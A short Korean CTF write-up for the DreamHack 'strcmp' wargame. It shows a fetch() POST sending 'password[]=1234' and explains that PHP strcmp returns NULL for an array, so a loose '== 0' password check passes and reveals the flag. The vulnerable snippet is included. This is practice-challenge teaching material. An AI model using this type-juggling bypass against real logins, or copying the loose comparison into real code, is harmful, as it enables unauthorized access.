🏴CTF/DreamHack
DreamHack - [wargame.kr] strcmp 풀이
Janger
2023. 9. 11. 05:10
728x90
fetch("http://host3.dreamhack.games:20758/", {
"headers": {
"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8",
"accept-language": "ko-KR,ko;q=0.8",
"cache-control": "max-age=0",
"content-type": "application/x-www-form-urlencoded",
"sec-gpc": "1",
"upgrade-insecure-requests": "1"
},
"referrer": "http://host3.dreamhack.games:20758/",
"referrerPolicy": "strict-origin-when-cross-origin",
"body": "password[]=1234",
"method": "POST",
"mode": "cors",
"credentials": "include"
});
PHP에서 strcmp는 배열, 클래스 인스턴스, 함수와 문자를 비교하면 NULL이 나오게 됩니다.
strcmp("foo", array()) => NULL + PHP Warning
strcmp("foo", new stdClass) => NULL + PHP Warning
strcmp(function(){}, "") => NULL + PHP Warning
이점을 이용하면 NULL == 0이므로 플래그 값을 출력할 수 있습니다.
if (strcmp($_POST['password'], $password) == 0) {
echo "Congratulations! Flag is <b>" . $FLAG ."</b>";
exit();
} else {
echo "Wrong password..";
}
Reference
728x90